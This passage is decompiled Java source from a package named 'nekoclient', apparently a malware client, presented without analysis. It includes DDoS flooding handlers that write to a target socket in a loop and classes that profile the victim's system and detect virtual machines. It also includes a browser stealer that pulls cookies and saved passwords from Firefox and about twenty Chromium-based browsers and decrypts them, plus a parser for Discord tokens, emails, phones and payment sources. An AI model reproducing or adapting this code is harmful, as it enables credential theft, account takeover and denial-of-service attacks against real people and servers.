import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;
import java.io.EOFException;
import java.nio.ByteBuffer;

public class BooleanType extends Type<Boolean> {
   public BooleanType(boolean value) {
      super(value);
   }

   public BooleanType() {
   }

   @Override
   public void write(ByteBuffer buffer) {
      buffer.put((byte)(this.value ? 1 : 0));
   }

   protected Boolean read0(ByteBuffer buffer) throws EOFException {
      return buffer.get() == 1;
   }

   @Override
   public int size() {
      return 1;
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/BytesType.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl;

import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;
import java.io.EOFException;
import java.nio.ByteBuffer;

public class BytesType extends Type<byte[]> {
   private VarIntType varIntType;

   public BytesType(byte[] bytes) {
      super(bytes);
      this.varIntType = new VarIntType(bytes.length);
   }

   public BytesType() {
      this.varIntType = new VarIntType();
   }

   @Override
   public void write(ByteBuffer buffer) {
      this.varIntType.write(buffer);
      buffer.put(this.value);
   }

   public byte[] read(ByteBuffer buffer) throws EOFException {
      byte[] bytes = (byte[])super.read(buffer);
      this.varIntType = new VarIntType(bytes.length);
      return bytes;
   }

   public byte[] read0(ByteBuffer buffer) throws EOFException {
      byte[] bytes = new byte[this.varIntType.read(buffer)];
      buffer.get(bytes);
      return bytes;
   }

   @Override
   public int size() {
      return this.varIntType.size() + ((byte[])this.value).length;
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/LongType.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl;

import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;
import java.io.EOFException;
import java.nio.ByteBuffer;

public class LongType extends Type<Long> {
   public static final int SIZE = 8;

   public LongType(long value) {
      super(value);
   }

   public LongType() {
   }

   @Override
   public void write(ByteBuffer buffer) {
      buffer.putLong(this.value);
   }

   protected Long read0(ByteBuffer buffer) throws EOFException {
      return buffer.getLong();
   }

   @Override
   public int size() {
      return 8;
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/StringType.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl;

import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;
import java.io.EOFException;
import java.nio.ByteBuffer;

public class StringType extends Type<String> {
   private VarIntType varIntType;

   public StringType(String string) {
      super(string);
      this.varIntType = new VarIntType(string.getBytes().length);
   }

   public StringType() {
      this.varIntType = new VarIntType();
   }

   @Override
   public void write(ByteBuffer buffer) {
      this.varIntType.write(buffer);
      buffer.put(this.value.getBytes());
   }

   public String read(ByteBuffer buffer) throws EOFException {
      String string = (String)super.read(buffer);
      this.varIntType = new VarIntType(string.length());
      return string;
   }

   public String read0(ByteBuffer buffer) throws EOFException {
      byte[] bytes = new byte[this.varIntType.read(buffer)];
      buffer.get(bytes);
      return new String(bytes);
   }

   @Override
   public int size() {
      return this.varIntType.size() + this.value.getBytes().length;
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/UUIDType.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl;

import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;
import java.io.EOFException;
import java.nio.ByteBuffer;
import java.util.UUID;

public class UUIDType extends Type<UUID> {
   public UUIDType(UUID value) {
      super(value);
   }

   public UUIDType() {
   }

   @Override
   public void write(ByteBuffer buffer) {
      buffer.putLong(this.value.getMostSignificantBits());
      buffer.putLong(this.value.getLeastSignificantBits());
   }

   protected UUID read0(ByteBuffer buffer) throws EOFException {
      return new UUID(buffer.getLong(), buffer.getLong());
   }

   @Override
   public int size() {
      return 16;
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/UnsignedShortType.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl;

import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;
import java.io.EOFException;
import java.nio.ByteBuffer;

public class UnsignedShortType extends Type<Integer> {
   public static final int SIZE = 2;

   public UnsignedShortType(int value) {
      super(value);
   }

   public UnsignedShortType() {
   }

   @Override
   public void write(ByteBuffer buffer) {
      buffer.put((byte)(this.value >>> 8 & 0xFF));
      buffer.put((byte)(this.value & 0xFF));
   }

   public Integer read0(ByteBuffer buffer) throws EOFException {
      int ch1 = buffer.get();
      int ch2 = buffer.get();
      if ((ch1 | ch2) < 0) {
         throw new EOFException();
      } else {
         return (ch1 << 8) + ch2;
      }
   }

   @Override
   public int size() {
      return 2;
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/VarIntType.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl;

import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;
import java.nio.ByteBuffer;

public class VarIntType extends Type<Integer> {
   public static final int MAX_SIZE = 2097151;
   public static final int MAX_BYTES = 5;

   public VarIntType(int value) {
      super(value);
   }

   public VarIntType() {
   }

   @Override
   public void write(ByteBuffer buffer) {
      int v;
      for(v = this.value; (v & -128) != 0; v >>>= 7) {
         buffer.put((byte)(v & 127 | 128));
      }

      buffer.put((byte)v);
   }

   public Integer read0(ByteBuffer buffer) {
      int var = 0;
      int moves = 0;

      byte buff;
      do {
         buff = buffer.get();
         var |= (buff & 127) << moves++ * 7;
         if (moves > 5) {
            throw new RuntimeException("VarInt too big");
         }
      } while((buff & 128) == 128);

      return var;
   }

   @Override
   public int size() {
      int v = this.value;
      if (v < 0) {
         v = ~v;
      }

      int count = 1;

      while((v >>>= 7) != 0) {
         ++count;
      }

      return count;
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/ssl/SSLBufferFloodingMethodHandler.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.ssl;

import java.io.IOException;
import java.io.OutputStream;
import javax.net.ssl.SSLSocket;

public abstract class SSLBufferFloodingMethodHandler extends SSLWriteMethodHandler {
   protected byte[] buffer;

   @Override
   public void handle(SSLSocket socket) throws IOException {
      OutputStream outputStream = socket.getOutputStream();

      while(socket.isConnected()) {
         outputStream.write(this.buffer);
      }
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/ssl/SSLBufferWritingMethodHandler.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.ssl;

import java.io.IOException;
import javax.net.ssl.SSLSocket;

public abstract class SSLBufferWritingMethodHandler extends SSLWriteMethodHandler {
   protected byte[] buffer;

   @Override
   public void handle(SSLSocket socket) throws IOException {
      socket.getOutputStream().write(this.buffer);
      socket.close();
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/ssl/SSLWriteMethodHandler.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.ssl;

import dev.neko.nekoclient.api.ddos.Protocol;
import dev.neko.nekoclient.api.ddos.impl.handler.MethodHandler;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.util.Objects;
import javax.net.ssl.SSLSocket;
import javax.net.ssl.SSLSocketFactory;

public abstract class SSLWriteMethodHandler implements MethodHandler {
   private static final SSLSocketFactory FACTORY = (SSLSocketFactory)SSLSocketFactory.getDefault();

   public abstract void handle(SSLSocket var1) throws IOException;

   @Override
   public void run(Protocol protocol, InetSocketAddress address) throws IOException {
      if (!Objects.equals(protocol, Protocol.TCP)) {
         throw new IllegalStateException();
      } else {
         SSLSocket socket = (SSLSocket)FACTORY.createSocket(address.getAddress(), address.getPort());
         socket.startHandshake();
         this.handle(socket);
      }
   }
}


================================================
FILE: dev/neko/nekoclient/api/debugger/Debugger.java
================================================
package dev.neko.nekoclient.api.debugger;

import java.io.IOException;
import java.net.InetSocketAddress;
import java.nio.Buffer;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;

public class Debugger {
   private final InetSocketAddress address;
   private final int id;
   private final SocketChannel channel;

   public Debugger(InetSocketAddress address, int id) throws IOException {
      this.address = address;
      this.id = id;
      this.channel = SocketChannel.open();
   }

   public void connect() throws IOException {
      this.channel.configureBlocking(true);
      this.channel.socket().connect(this.address, 5000);
      this.channel.write((ByteBuffer)((Buffer)ByteBuffer.allocate(4).putInt(this.id)).flip());
   }

   public void close() throws IOException {
      this.channel.close();
   }

   public void debug(String text) throws IOException {
      this.debug(text.getBytes());
   }

   public void debug(byte[] bytes) throws IOException {
      this.channel.write((ByteBuffer)((Buffer)ByteBuffer.allocate(4).putInt(bytes.length)).flip());
      this.channel.write(ByteBuffer.wrap(bytes));
   }
}


================================================
FILE: dev/neko/nekoclient/api/disconnect/DisconnectException.java
================================================
package dev.neko.nekoclient.api.disconnect;

public class DisconnectException extends RuntimeException {
   private final DisconnectReason reason;

   public DisconnectException(DisconnectReason reason) {
      this.reason = reason;
   }

   public final DisconnectReason getReason() {
      return this.reason;
   }
}


================================================
FILE: dev/neko/nekoclient/api/disconnect/DisconnectReason.java
================================================
package dev.neko.nekoclient.api.disconnect;

public enum DisconnectReason {
   INVALID_VERSION,
   DUPLICATE,
   TIMEOUT,
   UNKNOWN;
}


================================================
FILE: dev/neko/nekoclient/api/info/ClientInfo.java
================================================
package dev.neko.nekoclient.api.info;

public class ClientInfo {
   private final OperatingSystem operatingSystem;
   private final User user;
   private final String hardwareId;
   private final String ref;
   private final boolean virtualMachine;

   public ClientInfo(OperatingSystem operatingSystem, User user, String hardwareId, String ref, boolean virtualMachine) {
      this.operatingSystem = operatingSystem;
      this.user = user;
      this.hardwareId = hardwareId;
      this.ref = ref;
      this.virtualMachine = virtualMachine;
   }

   public final OperatingSystem getOperatingSystem() {
      return this.operatingSystem;
   }

   public final User getUser() {
      return this.user;
   }

   public final String getHardwareId() {
      return this.hardwareId;
   }

   public final String getRef() {
      return this.ref;
   }

   public final boolean isVirtualMachine() {
      return this.virtualMachine;
   }
}


================================================
FILE: dev/neko/nekoclient/api/info/OperatingSystem.java
================================================
package dev.neko.nekoclient.api.info;

public class OperatingSystem {
   private final String name;
   private final String version;
   private final String architecture;
   private final int processors;
   private final long totalPhysicalMemory;
   private final String processorName;

   public OperatingSystem(String name, String version, String architecture, int processors, long totalPhysicalMemory, String processorName) {
      this.name = name;
      this.version = version;
      this.architecture = architecture;
      this.processors = processors;
      this.totalPhysicalMemory = totalPhysicalMemory;
      this.processorName = processorName;
   }

   public final String getName() {
      return this.name;
   }

   public final String getVersion() {
      return this.version;
   }

   public final String getArchitecture() {
      return this.architecture;
   }

   public final int getProcessors() {
      return this.processors;
   }

   public final long getTotalPhysicalMemory() {
      return this.totalPhysicalMemory;
   }

   public final String getProcessorName() {
      return this.processorName;
   }
}


================================================
FILE: dev/neko/nekoclient/api/info/Side.java
================================================
package dev.neko.nekoclient.api.info;

public enum Side {
   CLIENT,
   SERVER;
}


================================================
FILE: dev/neko/nekoclient/api/info/User.java
================================================
package dev.neko.nekoclient.api.info;

public class User {
   private final String name;
   private final String hostname;
   private final String home;
   private final String country;
   private final String language;

   public User(String name, String hostname, String home, String country, String language) {
      this.name = name;
      this.hostname = hostname;
      this.home = home;
      this.country = country;
      this.language = language;
   }

   public final String getName() {
      return this.name;
   }

   public final String getHome() {
      return this.home;
   }

   public final String getCountry() {
      return this.country;
   }

   public final String getLanguage() {
      return this.language;
   }

   public final String getHostname() {
      return this.hostname;
   }
}


================================================
FILE: dev/neko/nekoclient/api/info/VersionInfo.java
================================================
package dev.neko.nekoclient.api.info;

public class VersionInfo {
   private final Side side;
   private final String version;

   public VersionInfo(Side side, String version) {
      this.side = side;
      this.version = version;
   }

   public final Side getSide() {
      return this.side;
   }

   public final String getVersion() {
      return this.version;
   }
}


================================================
FILE: dev/neko/nekoclient/api/proxy/ProxyResponse.java
================================================
package dev.neko.nekoclient.api.proxy;

public enum ProxyResponse {
   CONNECTED,
   TIMED_OUT,
   CONNECTION_REFUSED,
   UNKNOWN_HOST,
   UNKNOWN_ERROR;
}


================================================
FILE: dev/neko/nekoclient/api/stealer/browser/BrowserData.java
================================================
package dev.neko.nekoclient.api.stealer.browser;

import dev.neko.nekoclient.api.stealer.browser.cookie.Cookie;
import dev.neko.nekoclient.api.stealer.browser.impl.credential.Credential;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;

public class BrowserData {
   private final List<Cookie> cookies = new ArrayList<>();
   private final List<Credential> credentials = new ArrayList<>();

   public void addCookie(Cookie cookie) {
      if (!this.cookies.contains(cookie)) {
         this.cookies.add(cookie);
      }
   }

   public void addCredential(Credential credential) {
      if (!Objects.isNull(credential.getHost())
         && !Objects.isNull(credential.getUsername())
         && !credential.getUsername().isEmpty()
         && !Objects.isNull(credential.getPassword())
         && !credential.getPassword().isEmpty()
         && !this.credentials.contains(credential)) {
         this.credentials.add(credential);
      }
   }

   public final List<Cookie> getCookies() {
      return this.cookies;
   }

   public final List<Credential> getCredentials() {
      return this.credentials;
   }
}


================================================
FILE: dev/neko/nekoclient/api/stealer/browser/cookie/Cookie.java
================================================
package dev.neko.nekoclient.api.stealer.browser.cookie;

import java.util.Objects;

public class Cookie {
   private final String host;
   private final String path;
   private final String name;
   private final String value;
   private final long expires;
   private final boolean secure;
   private final boolean httpOnly;

   public Cookie(String host, String path, String name, String value, long expires, boolean secure, boolean httpOnly) {
      this.host = host;
      this.path = path;
      this.name = name;
      this.value = value;
      this.expires = expires;
      this.secure = secure;
      this.httpOnly = httpOnly;
   }

   public final String getValue() {
      return this.value;
   }

   public final String getPath() {
      return this.path;
   }

   public final String getHost() {
      return this.host;
   }

   public final String getName() {
      return this.name;
   }

   @Override
   public boolean equals(Object obj) {
      if (!(obj instanceof Cookie)) {
         return false;
      } else {
         Cookie other = (Cookie)obj;
         return Objects.equals(this.name, other.getName())
            && Objects.equals(this.host, other.getHost())
            && Objects.equals(this.value, other.getValue())
            && Objects.equals(this.path, other.getPath());
      }
   }

   public final long getExpires() {
      return this.expires;
   }

   public final boolean isSecure() {
      return this.secure;
   }

   public final boolean isHttpOnly() {
      return this.httpOnly;
   }
}


================================================
FILE: dev/neko/nekoclient/api/stealer/browser/impl/BrowserDataStealer.java
================================================
package dev.neko.nekoclient.api.stealer.browser.impl;

import com.eclipsesource.json.Json;
import com.eclipsesource.json.JsonArray;
import com.eclipsesource.json.JsonObject;
import com.eclipsesource.json.JsonValue;
import com.eclipsesource.json.ParseException;
import com.sun.jna.Platform;
import dev.neko.nekoclient.api.stealer.browser.BrowserData;
import dev.neko.nekoclient.api.stealer.browser.cookie.Cookie;
import dev.neko.nekoclient.api.stealer.browser.impl.credential.Credential;
import dev.neko.nekoclient.api.stealer.browser.impl.decrypt.chrome.ChromeDecryptor;
import dev.neko.nekoclient.api.stealer.browser.impl.decrypt.mozilla.MozillaDecryptor;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.Base64;
import java.util.Collections;
import java.util.List;
import java.util.Objects;
import java.util.stream.Collectors;
import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;

public class BrowserDataStealer {
   public static BrowserData read() {
      BrowserData browserData = new BrowserData();
      if (!Platform.isWindows()) {
         return browserData;
      } else {
         readMozillaSafely(browserData, Paths.get(System.getenv("APPDATA"), "Mozilla", "Firefox", "Profiles"));
         readMozillaSafely(browserData, Paths.get(System.getenv("APPDATA"), "Waterfox", "Profiles"));
         readMozillaSafely(browserData, Paths.get(System.getenv("APPDATA"), "Pale Moon", "Profiles"));
         readMozillaSafely(browserData, Paths.get(System.getenv("APPDATA"), "Mozilla", "SeaMonkey", "Profiles"));
         readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "Google", "Chrome", "User Data"));
         readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "Microsoft", "Edge", "User Data"));
         readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "BraveSoftware", "Brave-Browser", "User Data"));
         readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "Vivaldi", "User Data"));
         readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "Yandex", "YandexBrowser", "User Data"));
         readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "Slimjet", "User Data"));
         readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "CentBrowser", "User Data"));
         readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "Comodo", "Dragon", "User Data"));
         readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "Iridium", "User Data"));
         readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "UCBrowser", "User Data"));
         readChromiumSafely(browserData, Paths.get(System.getenv("APPDATA"), "Opera Software", "Opera Beta"));
         readChromiumSafely(browserData, Paths.get(System.getenv("APPDATA"), "Opera Software", "Opera Developer"));
         readChromiumSafely(browserData, Paths.get(System.getenv("APPDATA"), "Opera Software", "Opera Stable"));
         readChromiumSafely(browserData, Paths.get(System.getenv("APPDATA"), "Opera Software", "Opera GX Stable"));
         readChromiumSafely(browserData, Paths.get(System.getenv("APPDATA"), "Opera Software", "Opera Crypto Stable"));
         readChromiumSafely(browserData, Paths.get(System.getenv("APPDATA"), "CryptoTab Browser", "User Data"));
         return browserData;
      }
   }

   public static void readMozillaSafely(BrowserData browserData, Path profilesDirectory) {
      try {
         readMozilla(browserData, profilesDirectory);
      } catch (Throwable var3) {
      }
   }

   public static void readMozilla(BrowserData browserData, Path profilesDirectory) throws IOException {
      if (Files.exists(profilesDirectory)) {
         for(Path profile : Files.walk(profilesDirectory, 1).filter(path -> !Objects.equals(path, profilesDirectory)).collect(Collectors.toList())) {
            Path cookiesFile = profile.resolve("cookies.sqlite");
            if (Files.isRegularFile(cookiesFile) && Files.isReadable(cookiesFile)) {
               try {
                  Connection connection = DriverManager.getConnection(String.format("jdbc:sqlite:%s", cookiesFile.toAbsolutePath()));
                  Statement statement = connection.createStatement();
                  ResultSet resultSet = statement.executeQuery("SELECT * FROM moz_cookies");

                  while(resultSet.next()) {
                     browserData.addCookie(
                        new Cookie(
                           resultSet.getString("host"),
                           resultSet.getString("path"),
                           resultSet.getString("name"),
                           resultSet.getString("value"),
                           (long)resultSet.getInt("expiry") * 1000L,
                           Objects.equals(resultSet.getInt("isSecure"), 1),
                           Objects.equals(resultSet.getInt("isHttpOnly"), 1)
                        )
                     );
                  }

                  resultSet.close();
                  statement.close();
                  connection.close();
               } catch (SQLException var12) {
               }
            }

            Path loginsFile = profile.resolve("logins.json");
            if (Files.isRegularFile(loginsFile) && Files.isReadable(loginsFile) && MozillaDecryptor.isSupported()) {
               MozillaDecryptor mozillaDecryptor = new MozillaDecryptor();
               mozillaDecryptor.init(profile);

               try {
                  JsonObject data = Json.parse(Files.newBufferedReader(loginsFile)).asObject();
                  if (Objects.nonNull(data.get("logins"))) {
                     JsonArray logins = data.get("logins").asArray();

                     for(JsonObject login : logins.values().stream().map(JsonValue::asObject).collect(Collectors.toList())) {
                        browserData.addCredential(
                           new Credential(
                              new URL(login.get("hostname").asString()),
                              mozillaDecryptor.decrypt(Base64.getDecoder().decode(login.get("encryptedUsername").asString())),
                              mozillaDecryptor.decrypt(Base64.getDecoder().decode(login.get("encryptedPassword").asString()))
                           )
                        );
                     }
                  }
               } catch (IOException | ParseException var13) {
               }

               mozillaDecryptor.shutdown();
            }
         }
      }
   }

   public static void readChromiumSafely(BrowserData browserData, Path userData) {
      try {
         readChromium(browserData, userData);
      } catch (Throwable var3) {
      }
   }

   public static void readChromium(BrowserData browserData, Path userData) throws IOException, NoSuchPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, BadPaddingException, InvalidAlgorithmParameterException, InvalidKeyException {
      if (Files.exists(userData) && ChromeDecryptor.isSupported()) {
         JsonObject localState = Json.parse(new InputStreamReader(Files.newInputStream(userData.resolve("Local State")))).asObject();
         List<String> profiles = Objects.isNull(localState.get("profile"))
            ? Collections.singletonList(".")
            : localState.get("profile").asObject().get("info_cache").asObject().names();
         ChromeDecryptor chromeDecryptor = new ChromeDecryptor(
            Base64.getDecoder().decode(localState.get("os_crypt").asObject().get("encrypted_key").asString())
         );

         for(String profile : profiles) {
            Path cookiesFile = userData.resolve(profile).resolve("Network").resolve("Cookies");
            if (Files.isRegularFile(cookiesFile) && Files.isReadable(cookiesFile)) {
               try {
                  Connection connection = DriverManager.getConnection(String.format("jdbc:sqlite:%s", cookiesFile.toAbsolutePath()));
                  Statement statement = connection.createStatement();
                  ResultSet resultSet = statement.executeQuery("SELECT * FROM cookies");

                  while(resultSet.next()) {
                     Cookie cookie = new Cookie(
                        resultSet.getString("host_key"),
                        resultSet.getString("path"),
                        resultSet.getString("name"),
                        chromeDecryptor.decrypt(resultSet.getBytes("encrypted_value")),
                        resultSet.getLong("expires_utc") / 1000L,
                        Objects.equals(resultSet.getInt("is_secure"), 1),
                        Objects.equals(resultSet.getInt("is_httponly"), 1)
                     );
                     browserData.addCookie(cookie);
                  }

                  resultSet.close();
                  statement.close();
                  connection.close();
               } catch (SQLException var16) {
               }
            }

            Path loginDataFile = userData.resolve(profile).resolve("Login Data");
            if (Files.isRegularFile(loginDataFile) && Files.isReadable(loginDataFile) && ChromeDecryptor.isSupported()) {
               try {
                  Connection connection = DriverManager.getConnection(String.format("jdbc:sqlite:%s", loginDataFile.toAbsolutePath()));
                  Statement statement = connection.createStatement();
                  ResultSet resultSet = statement.executeQuery("SELECT * FROM logins");

                  while(resultSet.next()) {
                     String originUrl = resultSet.getString("origin_url");
                     String username = resultSet.getString("username_value");
                     byte[] password = resultSet.getBytes("password_value");
                     if (!originUrl.isEmpty() && !username.isEmpty() && password.length != 0) {
                        Credential credential = new Credential(new URL(originUrl), username, chromeDecryptor.decrypt(password));
                        browserData.addCredential(credential);
                     }
                  }

                  resultSet.close();
                  statement.close();
                  connection.close();
               } catch (SQLException var17) {
               }
            }
         }
      }
   }

   static {
      try {
         Class.forName("org.sqlite.JDBC");
      } catch (ClassNotFoundException var1) {
      }
   }
}


================================================
FILE: dev/neko/nekoclient/api/stealer/browser/impl/credential/Credential.java
================================================
package dev.neko.nekoclient.api.stealer.browser.impl.credential;

import java.net.URL;
import java.util.Objects;

public class Credential {
   private final URL host;
   private final String username;
   private final String password;

   public Credential(URL host, String username, String password) {
      this.host = host;
      this.username = username;
      this.password = password;
   }

   public final URL getHost() {
      return this.host;
   }

   public final String getUsername() {
      return this.username;
   }

   public final String getPassword() {
      return this.password;
   }

   @Override
   public boolean equals(Object obj) {
      if (!(obj instanceof Credential)) {
         return super.equals(obj);
      } else {
         Credential other = (Credential)obj;
         return Objects.equals(other.getHost(), this.host)
            && Objects.equals(other.getUsername(), this.username)
            && Objects.equals(other.getPassword(), this.password);
      }
   }
}


================================================
FILE: dev/neko/nekoclient/api/stealer/browser/impl/decrypt/chrome/ChromeDecryptor.java
================================================
package dev.neko.nekoclient.api.stealer.browser.impl.decrypt.chrome;

import com.sun.jna.Platform;
import com.sun.jna.platform.win32.Crypt32Util;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.Arrays;
import java.util.Objects;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public class ChromeDecryptor {
   private final byte[] masterKey;
   private static final String EMPTY_STRING = "";

   public ChromeDecryptor(byte[] masterKey) {
      if (!isSupported()) {
         throw new UnsupportedOperationException();
      } else {
         this.masterKey = Crypt32Util.cryptUnprotectData(Arrays.copyOfRange(masterKey, 5, masterKey.length));
      }
   }

   public String decrypt(byte[] encrypted) throws NoSuchPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, BadPaddingException, InvalidAlgorithmParameterException, InvalidKeyException {
      if (Objects.equals(encrypted.length, 0)) {
         return "";
      } else {
         Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
         cipher.init(2, new SecretKeySpec(this.masterKey, "AES"), new GCMParameterSpec(128, Arrays.copyOfRange(encrypted, 3, 15)));
         return new String(cipher.doFinal(Arrays.copyOfRange(encrypted, 15, encrypted.length)));
      }
   }

   public static boolean isSupported() {
      return Platform.isWindows();
   }

   public final byte[] getMasterKey() {
      return this.masterKey;
   }
}


================================================
FILE: dev/neko/nekoclient/api/stealer/browser/impl/decrypt/mozilla/MozillaDecryptor.java
================================================
package dev.neko.nekoclient.api.stealer.browser.impl.decrypt.mozilla;

import com.sun.jna.Native;
import com.sun.jna.Platform;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Objects;

public class MozillaDecryptor {
   private final NSSLibrary nssLibrary;

   public MozillaDecryptor() {
      if (!isSupported()) {
         throw new UnsupportedOperationException();
      } else {
         this.nssLibrary = Native.load(getInstallationPath().toAbsolutePath().toString(), NSSLibrary.class);
      }
   }

   public void init(Path profile) {
      this.nssLibrary.NSS_Init(profile.toAbsolutePath().toString());
   }

   public String decrypt(byte[] encryptedData) {
      SECItem input = new SECItem.ByReference(0, encryptedData, encryptedData.length);
      SECItem output = new SECItem.ByReference(0, null, 0);
      this.nssLibrary.PK11SDR_Decrypt(input, output, null);
      if (Objects.isNull(output.data)) {
         return null;
      } else {
         String decrypted = new String(output.data.getByteArray(0L, output.len));
         this.nssLibrary.SECITEM_ZfreeItem(output, 0);
         return decrypted;
      }
   }

   public void shutdown() {
      this.nssLibrary.NSS_Shutdown();
   }

   private static Path getInstallationPath() {
      return Paths.get(System.getenv("PROGRAMFILES"), "Mozilla Firefox", "nss3.dll");
   }

   public static boolean isSupported() {
      return Platform.isWindows() && Objects.nonNull(System.getenv("PROGRAMFILES")) && Files.exists(getInstallationPath());
   }

   public final NSSLibrary getNssLibrary() {
      return this.nssLibrary;
   }
}


================================================
FILE: dev/neko/nekoclient/api/stealer/browser/impl/decrypt/mozilla/NSSLibrary.java
================================================
package dev.neko.nekoclient.api.stealer.browser.impl.decrypt.mozilla;

import com.sun.jna.Library;
import com.sun.jna.ptr.PointerByReference;

public interface NSSLibrary extends Library {
   void NSS_Init(String var1);

   int PK11_GetInternalKeySlot(PointerByReference var1);

   int PK11_FreeSlot(PointerByReference var1);

   int PK11_NeedLogin(PointerByReference var1);

   int PK11SDR_Decrypt(SECItem var1, SECItem var2, PointerByReference var3);

   void SECITEM_ZfreeItem(SECItem var1, int var2);

   void NSS_Shutdown();
}


================================================
FILE: dev/neko/nekoclient/api/stealer/browser/impl/decrypt/mozilla/SECItem.java
================================================
package dev.neko.nekoclient.api.stealer.browser.impl.decrypt.mozilla;

import com.sun.jna.Memory;
import com.sun.jna.Pointer;
import com.sun.jna.Structure;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;

public class SECItem extends Structure {
   public int type;
   public Pointer data;
   public int len;

   @Override
   protected List<String> getFieldOrder() {
      return Arrays.asList("type", "data", "len");
   }

   public static class ByReference extends SECItem implements Structure.ByReference {
      public ByReference(int type, byte[] data, int len) {
         this.type = type;
         this.len = len;
         if (Objects.isNull(data)) {
            this.data = null;
         } else {
            Memory memory = new Memory((long)data.length);
            memory.write(0L, data, 0, data.length);
            this.data = memory;
         }
      }
   }
}


================================================
FILE: dev/neko/nekoclient/api/stealer/discord/DiscordAccount.java
================================================
package dev.neko.nekoclient.api.stealer.discord;

import com.eclipsesource.json.JsonArray;
import com.eclipsesource.json.JsonObject;
import com.eclipsesource.json.JsonValue;
import java.util.List;
import java.util.Objects;
import java.util.stream.Collectors;

public class DiscordAccount {
   private final String token;
   private final String id;
   private final String username;
   private final String discriminator;
   private final String email;
   private final String phone;
   private final boolean verified;
   private final boolean mfa;
   private final List<String> badges;
   private final List<String> paymentSources;

   public DiscordAccount(
      String token,
      String id,
      String username,
      String discriminator,
      String email,
      String phone,
      boolean verified,
      boolean mfa,
      List<String> badges,
      List<String> paymentSources
   ) {
      this.token = token;
      this.id = id;
      this.username = username;
      this.discriminator = discriminator;
      this.email = email;
      this.phone = phone;
      this.verified = verified;
      this.mfa = mfa;
      this.badges = badges;
      this.paymentSources = paymentSources;
   }

   public static DiscordAccount parse(String token, JsonObject profile, JsonObject user, JsonArray paymentSources) {
      return new DiscordAccount(
         token,
         user.get("id").asString(),
         user.get("username").asString(),
         user.get("discriminator").asString(),
         user.get("email").asString(),
         user.get("phone").asString(),
         user.get("verified").asBoolean(),
         user.get("mfa_enabled").asBoolean(),
         profile.get("badges").asArray().values().stream().map(JsonValue::asObject).map(object -> object.get("id").asString()).collect(Collectors.toList()),
         paymentSources.values()
            .stream()
            .map(JsonValue::asObject)
            .filter(source -> !source.getBoolean("invalid", true))
            .map(source -> source.get("brand"))
            .filter(Objects::nonNull)
            .map(JsonValue::asString)
            .collect(Collectors.toList())
      );
   }

   public final String getToken() {
      return this.token;
   }

   public final String getId() {
      return this.id;
   }

   public final String getUsername() {
      return this.username;
   }

   public final String getDiscriminator() {
      return this.discriminator;
   }

   public final List<String> getBadges() {
      return this.badges;
   }

   public final String getEmail() {
      return this.email;
   }

   public final String getPhone() {
      return this.phone;
   }

   public final boolean isVerified() {
      return this.verified;
   }

   public final boolean isMfa() {
      return this.mfa;
   }

   public final List<String> getPaymentSources() {
      return this.paymentSources;
   }
